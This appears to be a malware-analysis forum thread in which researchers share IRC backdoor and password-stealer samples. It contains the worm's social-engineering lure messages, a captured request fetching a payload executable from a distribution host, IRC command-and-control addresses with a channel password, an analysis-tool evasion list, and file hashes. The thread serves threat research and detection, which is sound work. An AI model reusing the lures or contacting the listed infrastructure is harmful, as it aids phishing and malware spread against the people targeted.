[nullptr]

An IRC backdoor with some interesting strings.

SEINFELD_SUPERMAN
I'm never going to take picture of myself again! They always turn out like this.
Tell me what you think of this picture I edited. Thanks!
This is the funniest photo ever! What do you think?
Tell me what you think of this photo of me?
I just got a new hair cut! Tell me what you think?
I don't think I will ever sleep again after seeing this photo! Take a look.
I cant believe I still have this picture of you from last winter. Do you remember it?
Should I make this my default picture? Or does it look too evil?
My parents are going to kill me, if they find this picture. But does it look bad?

original file + decrypted attached

[EP_X0FF]

Must be spreading messages, targeting contact list :)
I've something of this in my icq antibot logs.

[nullptr]

An IRC bot, password stealer. Runs as %windir%\tanga.exe

// 212.59.0.8:80
GET /k-austo.exe HTTP/1.1 If-Modified-Since: Wed, 22 Dec 2010 20:52:45 GMT If-None-Match: "6a882cb-1a000-49805ef5dc140" User-Agent: Mozilla/4.0 (compatible) Host: hxxp://www.ahava.lt

// 207.210.96.152:6567
JOIN #kausto# c1rc0dus0leil
JOIN #causto# c1rc0dus0leil

Contains a small blacklist: Wireshark, tcpview, filemon, procmon
Original file, decrypted and ****strings attached.

[EP_X0FF]

Momibot/AllNite if someone interested. Mistakenly marked abuse.ch as SpyEye.

In attach both dropper and unpacked.

.168.1.2:6667#AllNiteCafe

Original
http://www.virustotal.com/file-scan/rep ... 1312535222

Unpacked
http://www.virustotal.com/file-scan/rep ... 1312534957

[markusg]

install.exe
MD5   : d573f6c247b33a0d99216f70aebfed7e
http://www.virustotal.com/file-scan/rep ... 1313659108

[markusg]

setup.exe
MD5   : ad3020b1f21b53edcbec4538a6efd47c

http://www.virustotal.com/file-scan/rep ... 1313660141
should be the same, but i will add it

[markusg]

(A) siljedaehaksaengdonggeokeopeulyuchulbon 1.mpg.exe
MD5   : 92abb5a40aa3ecdf9da29345c060efae
http://www.virustotal.com/file-scan/rep ... 1314630930

[EP_X0FF]

(A) siljedaehaksaengdonggeokeopeulyuchulbon 1.mpg.exe
MD5   : 92abb5a40aa3ecdf9da29345c060efae
http://www.virustotal.com/file-scan/rep ... 1314630930

Protected by Themida.

Under Themida incredible primitive piece of Delphi code.

A Form with TWebBrowser component and TSocketDM. Trash spawned IE window with trash (what a surprise) in caption and then died. Yeah, I think it's sort of skiddie backdoor :)